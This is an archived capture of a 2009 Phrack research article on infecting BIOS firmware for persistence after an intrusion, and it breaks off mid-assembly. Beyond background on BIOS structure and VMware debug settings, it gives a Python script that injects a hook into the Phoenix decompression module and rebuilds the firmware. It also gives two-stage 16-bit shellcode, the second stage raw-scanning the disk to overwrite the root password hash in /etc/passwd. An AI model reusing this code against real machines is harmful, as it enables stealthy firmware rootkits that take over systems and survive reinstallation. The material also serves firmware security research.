💾 Archived View for aphrack.org › issues › phrack66 › 7.gmi captured on 2021-12-17 at 13:26:06. Gemini links have been rewritten to link to archived content
View Raw
More Information
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.==
Volume 0x0d, Issue 0x42, Phile #0x07 of 0x11
|=-----------------------------------------------------------------------=|
|=--------------------=[ Persistent BIOS Infection ]=-----------------=|
|=-----------------=[ "The early bird catches the worm" ]=---------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ .aLS - anibal.sacco@coresecurity.com ]=------------=|
|=---------------=[ Alfredo - alfredo@coresecurity.com ]=------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ June 1 2009 ]=---------------------------=|
|=-----------------------------------------------------------------------=|
------[ Index
0 - Foreword
1 - Introduction
1.1 - Paper structure
2 - BIOS basics
2.1 - BIOS introduction
2.1.1 - Hardware
2.1.2 - How it works?
2.2 - Firmware file structure
2.3 - Update/Flashing process
3 - BIOS Infection
3.0 - Initial setup
3.1 - VMWare's (Phoenix) BIOS modification
3.1.1 - Dumping the VMWare BIOS
3.1.2 - Setting up VMWARE to load an alternate BIOS
3.1.3 - Unpacking the firmware
3.1.4 - Modification
3.1.5 - Payload
3.1.5.1 - The Ready Signal
3.1.6 - OptionROM
3.2 - Real (Award) BIOS modification
3.2.1 - Dumping the real BIOS firmware
3.2.2 - Modification
3.2.3 - Payload
4 - BIOS32 (Direct kernel infection)
5 - Future and other uses
5.1 - SMM!
6 - Greetz
7 - References
8 - Sources - Implementation details
------[ 0.- Foreword
Dear reader, if you're here we can assume that you already know what
the BIOS is and how it works. Or, at least, you have a general
picture of what the BIOS does, and its importance for the normal
operation of a computer. Based on that, we will briefly explain some
basic concepts to get you into context and then we'll jump to the,
more relevant, technical stuff.
------[ 1.- Introduction
Over the years, a lot has been said about this topic. But, apart of
the old Chernobyl virus, which just zeroed the BIOS if you
motherboard was one of the supported, or some modifications with
modding purposes (that were a very valuable source of data, btw)
like Pinczakko's work, we wouldnt be able to find any public
implementation of a working, generical and malicious BIOS infection.
Mostly, the people tends to think that this is a very researched,
old and already mitigated technique. It is sometimes even confused
whith the obsolet MBR viruses. But, is our intention to show that
this kind of attacks are possible and could be, with the aproppiated
OS detection and infection techniques, a very trustable and persistent
rootkit residing just inside of the BIOS Firmware.
In this paper we will show a generic method to inject code into
unsigned BIOS firmwares. This technique will let us embedd our own
code into the BIOS firmware so that it will get executed just before
the loading of the operating system.
We will also demonstrate how having complete control of the hard
drives allows us to leverage true persistency by deploying fully
functional code directly into a windows process or just by modifying
sensitive OS data in a Linux box.
---[ 1.1 - Paper structure
The main idea of this paper is to show how the BIOS firmware can be
modified and used as a persistence method after a successful
intrusion.
So, we will start by doing a little introduction and then we will
focus the paper on the proof of concept code, splitting the paper
in two main sections:
- VMWare's (Phoenix) BIOS modification
- Real (Award) BIOS modification
In each one we will explain the payloads to show how the attack is
done, and then we'll jump directly to see the payload code.
------[ 2.- BIOS Basics
---[2.1 - BIOS introduction
From Wikipedia [1]:
"The BIOS is boot firmware, designed to be the first code run by a
PC when powered on. The initial function of the BIOS is to identify
test, and initialize system devices such as the video display card,
hard disk, and floppy disk and other hardware. This is to prepare
the machine into a known state, so that software stored on
compatible media can be loaded, executed, and given control of the
PC.[3] This process is known as booting, or booting up, which is
short for bootstrapping."
"...provide a small library of basic input/output functions that
can be called to operate and control the peripherals such as the
keyboard, text display functions and so forth. In the IBM PC and
AT, certain peripheral cards such as hard-drive controllers and
video display adapters carried their own BIOS extension ROM, which
provided additional functionality. Operating systems and executive
software, designed to supersede this basic firmware functionality,
will provide replacement software interfaces to applications.
---[2.1.1 - Hardware
Back in the 80's the BIOS firmware was contained in ROM or PROM
chips, which could not be altered in any way, but nowadays, this
firmware is stored in an EEPROM (Electrically Erasable
Programmable Read-Only Memory). This kind of memory allows the user
to reflash it, allowing the vendor to offer firmware updates in
order to fix bugs, support new hardware and to add new
functionality.
---[2.1.2 - How it works?
The BIOS has a very important role in the functioning of a
computer.
It should be always available as it holds the first instruction
executed by the CPU when it is turned on. This is why it is stored
in a ROM.
The first module of the BIOS is called Bootblock, and it's in
charge of the POST (Power-on self-test) and Emergency boot
procedures. POST is the common term for a computer, router or
printer's pre-boot sequence. It has to test and initialize almost
all the different hardware components in the system to make sure
everything is working properly.
The modern BIOS has a modular structure, which means that there are
several modules integrated on the same firmware, each one in charge
of a different specific task; from hardware initialization to
security measures.
Each module is compressed, therefore there is a decompression
routine in charge of the decompression and validation of the
others modules that will be subsequently executed.
After decompression, some other hardware is initialized, such as
PCI Roms (if needed) and at the end, it reads the sector 0 of the
hard drive (MBR) looking for a boot loader to start loading the
Operating System.
---[2.2 - Firmware file structure
As we said before, the BIOS firmware has a modular structure. When
stored in a normal plain file, it is composed of several LZH
compressed modules, each of them containing an 8 bit checksum.
However, not all the modules are compressed, a few modules like the
Bootblock and the Decompression routine are obviously uncompressed
because they are a fundamental piece of the booting process and
must perform the decompression of the other modules. Further,
we will see why this is so convenient for our purposes.
Here we have the output of Phnxdeco (available in the Debian
repositories), an open source tool to parse and analyze the Phoenix
BIOS Firmware ROMs (that we'll going to extract at 3.1.1):
+-------------------------------------------------------------------------+
| Class.Instance (Name) Packed ---> Expanded Compression Offse |
+-------------------------------------------------------------------------+
B.03 ( BIOSCODE) 06DAF (28079) => 093F0 ( 37872) LZINT ( 74%) 446DFh
B.02 ( BIOSCODE) 05B87 (23431) => 087A4 ( 34724) LZINT ( 67%) 4B4A9h
B.01 ( BIOSCODE) 05A36 (23094) => 080E0 ( 32992) LZINT ( 69%) 5104Bh
C.00 ( UPDATE) 03010 (12304) => 03010 ( 12304) NONE (100%) 5CFDFh
X.01 ( ROMEXEC) 01110 (04368) => 01110 ( 4368) NONE (100%) 6000Ah
T.00 ( TEMPLATE) 02476 (09334) => 055E0 ( 21984) LZINT ( 42%) 63D78h
S.00 ( STRINGS) 020AC (08364) => 047EA ( 18410) LZINT ( 45%) 66209h
E.00 ( SETUP) 03AE6 (15078) => 09058 ( 36952) LZINT ( 40%) 682D0h
M.00 ( MISER) 03095 (12437) => 046D0 ( 18128) LZINT ( 68%) 6BDD1h
L.01 ( LOGO) 01A23 (06691) => 246B2 (149170) LZINT ( 4%) 6EE81h
L.00 ( LOGO) 00500 (01280) => 03752 ( 14162) LZINT ( 9%) 708BFh
X.00 ( ROMEXEC) 06A6C (27244) => 06A6C ( 27244) NONE (100%) 70DDAh
B.00 ( BIOSCODE) 001DD (00477) => 0D740 ( 55104) LZINT ( 0%) 77862h
- .00 ( TCPA_*) 00004 (00004) => 00004 ( 004) NONE (100%) 77A5Ah
D.00 ( DISPLAY) 00AF1 (02801) => 00FE0 ( 4064) LZINT ( 68%) 77A79h
G.00 ( DECOMPCODE) 006D6 (01750) => 006D6 ( 1750) NONE (100%) 78585h
A.01 ( ACPI) 0005B (00091) => 00074 ( 116) LZINT ( 78%) 78C76h
A.00 ( ACPI) 012FE (04862) => 0437C ( 17276) LZINT ( 28%) 78CECh
B.00 ( BIOSCODE) 00BD0 (03024) => 00BD0 ( 3024) NONE (100%) 7D6AAh
We can see here the different parts of the Firmware file,
containing the DECOMPCODE section, where the decompression routine
is located, as well as the other not-covered-in-this-paper
sections.
---[2.3 - Update/Flashing process
The BIOS software is not so different from any other software.
It's prone to bugs in the same way as other software is.
Newer versions come out adding support for new hardware, features
and fixing bugs, etc. But the flashing process could be very
dangerous on a real machine. The BIOS is a fundamental component
of the computer. It's the first piece of code executed when a
machine is turned on. This is why we have to be very carefully when
doing this kind of things. A failed BIOS update can -and probably
will- leave the machine unresponsive. And that just sucks.
That is why it's so important to have some testing platform, such
as VMWare, at least for a first approach, because, as we'll see,
there are a lot of differences between the vmware version vs. the
real hardware version.
------[ 3.- BIOS Infection
---[3.0 - Initial setup
---[3.1 - VMWare's (Phoenix) BIOS modification
First, we have to obtain a valid VMWARE BIOS firmware to work on.
In order to read the EEPROM where the BIOS firmware is stored we
need to run some code in kernel mode to let us send and receive
data directly to the southbridge through the IO Ports. To do this,
we also need to know some specific data about the current hardware.
This data is usually provided by the vendor. Furthermore, almost
all motherboard vendors provide some tool to update the BIOS, and
very often, they have an option to backup or dump the actual
firmware.
In VMWare we can't use this kind of tools, because the emulated
hardware doesn't have the same functionality as the real hardware.
This makes sense... why would someone would like to update the
VMWare BIOS from inside...?
---[3.1.1 - Dumping the VMWare BIOS
When we started this, it was really helpful to have the embedded
gdb server that VMWare offers. This let us debug and understand
what was happening.
So in order to patch and modify some little pieces of code to start
testing, we used some random byte arrays as patterns to find the
BIOS in memory.
Doing this we found that there is a little section of almost 256kb
in vmware-vmx, the main vmware executable, called .bios440
( that in our vmware version is located between the file offset
0x6276c7-0x65B994 ) that contains the whole BIOS firmware, in the
same way as it is contained in a normal file ready to flash.
You can use objdump to see the sections of the file:
objdump -h vmware-vmx
And you can dump it to a file using the objcopy tool:
objcopy -j .bios440 -O binary --set-section-flags .bios440=a \
vmware-vmx bios440.rom.zl
Umm... this means that... if we have root privileges in the victim
machine, we could use our amazing power to modify the vmware-vmx
executable, inserting our own infected bios and it will be
executed each time a vmware starts, for every vmware of the
computer. Sweet!
But, there are simpler ways to accomplish this task. We are going
to modify it a lot of times and it is not going to work most of
the times so.. the simpler, the better.
---[3.1.2 - Setting up VMWARE to load an alternate BIOS
We found that VMWare offers a very practical way to let the user
provide an specific BIOS firmware file directly through the .VMX
configuration file.
This not-so-known tag is called "bios440.filename" and it let us
avoid using VMWare's built-in BIOS and instead allows us to
specify a BIOS file to use.
You have to add this line in your .VMX file:
bios440.filename = "path/to/file/bios.rom"
And, voila!, now you have another BIOS firmware running in your VM,
and in combination with:
debugStub.listen.guest32 = "TRUE" or
debugStub.listen.guest64 = "TRUE"
that will leave the VMWare's gdb stub waiting for your connection
on localhost on port 8832. You will end up with an excellent -and
completely debuggable- research scenery. Nice huh?
Other important hidden tags that can be useful to define are:
bios.bootDelay = "3000" # To delay the boot X
miliseconds
debugStub.hideBreakpoints = "TRUE" # Allows gdb breakpoints
to work
debugStub.listen.guest32.remote = "TRUE" # For debugging from
another machine (32bit)
debugStub.listen.guest64.remote = "TRUE" # For debugging from
another machine (64bit)
monitor.debugOnStartGuest32 = "TRUE" # This will halt the VM
at the very first
instruction at 0xFFFF0
---[3.1.3 - Unpacking the firmware
As we mentioned before, some of the modules are compressed
with an LZH variation. There are a few available tools to
extract and decompress each individual module from the
Firmware file. The most used are Phnxdeco and Awardeco (two
excellent linux GPL tools) together with Phoenix BIOS Editor
and Award BIOS editor (some non GPL tools for windows).
You can use Phoenix BIOS editor over linux using wine if you
want. It will extract all the modules in a /temp directory
inside the Phoenix BIOS editor ready to be open with your
preferred disassembler.
The great news about Phoenix BIOS Editor is that it can also
rebuild the main firmware file. It can recompress and
integrate all the different decompressed modules to let it
just as it was at the beggining.
The only thing is that it was done for older Phoenix BIOSes,
and it misses the checksum so we will have to do it by
ourselves as we'll see at 3.2.2.1
Some of these tasks are done by isolated tools that can be
invoked directly from a command line, which is very practical
in order to automate the process with simple scripts.
---[3.1.4 - Modification
So, here we are. We have all the modules unpacked, and the
possibility of modifying them, and then rebuild them in a
fully working BIOS flash update.
The first thing to deal with now is 'where to patch'. We can
place a hook in almost any place to get our code executed but
we have to think things through before deciding on where to
patch.
At the beginning we thought about hooking the first
instruction executed by the CPU, a jump at 0xF000:FFF0. It
seemed to be the best option because it is always in the same
place, and is easy to find but we have to take into
consideration the execution context. To have our code running
there should imply doing all the hardware initialization by
ourselves (DRAM, Northbridge, Cache, PCI, etc.)
For example, if we want to do things like accessing the hard
drive we need to be sure that when our code gets executed it
already has access to the hard drive.
For this reason, and because it doesn't change between
different versions, we've chosen to hook the decompression
routine. It is also very easy to find by looking for a
pattern. It is uncompressed, and is called many times during
the BIOS boot sequence letting us check if all the needed
services are available before doing the real stuff.
Here we have a dump script to quickly extract the firmware
modules, assemble the payloads, inject it, and reassemble the
modified firmware file.
PREPARE.EXE and CATENATE.EXE are propietary tools to build
phoenix firmware that you can find inside the Phoenix BIOS
Editor and packaged with other flashing tools.
In later versions of this script this tools arent needed anymore. (as
seen at 3.2.2.1)
#!/usr/bin/python import os,struct
#--------------------------- Decomp processing ------------------------------
#assemble the whole code to inject
os.system('nasm ./decomphook.asm')
decomphook = open('decomphook','rb').read()
print "Leido hook: %d bytes" % len(decomphook)
minihook = '\x9a\x40\x04\x3b\x66\x90' # call near +0x430
#Load the decompression rom
decorom = open('DECOMPC0.ROM.orig','rb').read()
#Add the hook
hookoffset=0x23
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
#Add the shellcode
decorom+="\x90"*100+decomphook
decorom=decorom+'\x90'*10
#recalculate the ROM size
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
#Save the patched decompression rom
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#Compile
print "Prepare..."
os.system('./PREPARE.EXE ./ROM.SCR.ORIG')
print "Catenate..."
os.system('./CATENATE.EXE ./ROM.SCR.ORIG')
os.system('rm *.MOD')
---[3.1.5 - Payload
Before talking about the payload, we have to resolve *where*
are we going to store our payload, and this is not a trivial
task. We found that there is a lot of padding space at the end
of the decompression routine that, when allocated, will be
used as a buffer to hold the decompressed code. Trashing in
this way, any code that we can store there. This adds a bit of
complexity to the payload, because it makes us split the
shellcode in two stages.
The first one gets executed by setting a very typical hook in
the prolog of the decompression routine. A simple relative
call that redirects the execution flow to our code and moves
the second stage to a safe hardcoded place that we know
remains unused during the whole boot process. Then, updates
the hook making it point to the new address and executes the
instructions smashed by the original call
__________________________________
| |
| HOOK +->---.
|..................................| |
.--->| | |
| | | |
| | DECOMPRESSION BLOCK | |
| | | |
| | | |
| |__________________________________| |
| | |<----'
| | First Stage Payload |
| | (Moves second stage |
| | to a safe place |
| | and updates the hook) |
| | |
| |..................................|
`--<-+ Code smashed by hook |
|__________________________________|
| |
| Second Stage Payload |
| |
| |
|__________________________________|
Lets see the code:
|-----------------------------------------------------------|
BITS 16
;Extent to search (in 64K sectors, aprox 32 MB)
%define EXTENT 10
start_mover:
;save regs
;jmp start_mover
pusha
pushf
; set dst params to move the shellcode
xor ax, ax
xor di, di
xor si, si
push cs
pop ds
mov es, ax ; seg_dst
mov di, 0x8000 ; off_dst
mov cx, 0xff ; code_size
; get_eip to have the 'source' address
call b
b:
pop si
add si, 0x25 (Offset needed to reach the second stage payload)
rep movsw
mov ax, word [esp+0x12] ; get the caller address to patch the original hook
sub ax, 4
mov word [eax], 0x8000 ; new_hook offset
mov word [eax+2], 0x0000 ; new_hook segment
; restore saved regs
popf
popa
; execute code smashed by 'call far'
;mov es,ax
mov bx,es
mov fs,bx
mov ds,ax
retf
;Here goes a large nopsled and next, the second stage payload
|------------------------------------------------------------|
The second stage, now residing in an unused space, has got to
have some ready signal to know if the services that we want to
use are available..
---[3.1.5.1 - The Ready Signal
In the VMWare we've seen that when our second-stage payload is called,
and the IVT is already initialized, we have all we need to do our
stuff. Based on that we chose to use the IVT initialization as our
ready signal. This is very simple because it's always mapped at
0000:0000. Every time the shellcode gets executed first checks if the
IVT is initialized with valid pointers, if it is the shellcode is
executed, if not it returns without doing anything.
---[3.1.5.1 - The Real stuff
Now we have our code executed and we know that we have all the
services we need so what are we going to do? We can't interact with
the OS from here.
In this moment the operating system is just a char array sitting on
the disk. But hey! wait, we have access to the disk through the int
13h (Low Level Disk Services).. we can modify it in any way we want!.
Ok, let's do it.
In a real malicious implementation, you would like to code some sort
of basic driver to correctly parse the different filesystem
structures, at least for FAT & NTFS (maybe reusing GRUB or LILO code?)
but for this paper, just as Proof of Concept, we will use the Int 13h
to sequentially read the disk in raw mode. We will look for a pattern
in a very stupid way and it will work, but doing what we said before,
in a common scenery, will be possible to modify, add and delete any
desired file of the disk allowing an attacker to drop driver modules,
infect files, disable the antivirus or anti rootkits, etc.
This is the shellcode that we've used to walk over the whole
disk matching the pattern: "root:$" in order to find the root
entry of the /etc/passwd file.
Then, we replace the root hash with our own hash, setting the
password "root" for the root user.
-------------------------------------------------------------
; The shellcode doesn't have any type of optimization, we tried to keep it
; simple, 'for educational purposes'
; 16 bit shellcode
; use LBA disk access to change root password to 'root'
BITS 16
push es
push ds
pushad
pushf
; Get code address
call gca
gca: pop bx
; construct DAP
push cs
pop ds
mov si,bx
add si,0x1e0 ; DAP 0x1e0 from code
mov cx,bx
add cx,0x200 ; Buffer pointer 0x200 from code
mov byte [si],16 ;size of SAP
inc si
mov byte [si],0 ;reserved
inc si
mov byte [si],1 ;number of sectors
inc si
mov byte [si],0 ;unused
inc si
mov word [si],cx ;buffer segment
add si,2
mov word [si],ds;buffer offset
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
mov di,0
mov si,0
mainloop:
push di
push si
;-------- Inc sector number
mov cx,3
mov si,bx
add si,0x1e8
loopinc:
mov ax,word [si]
inc ax
mov word [si],ax
cmp ax,0
jne incend
add si,2
loop loopinc
incend:
;-------- LBA extended read sector
mov ah,0x42 ; call number
mov dl,0x80 ; drive number 0x80=first hd
mov si,bx
add si,0x1e0
int 0x13
jc mainend
nop
nop
nop
;-------- Search for 'root'
mov di,bx
add di,0x200 ; pointer to buffer
mov cx,0x200 ; 512 bytes per sector
searchloop:
cmp word [di],'ro'
jne notfound
cmp word [di+2],'ot'
jne notfound
cmp word [di+4],':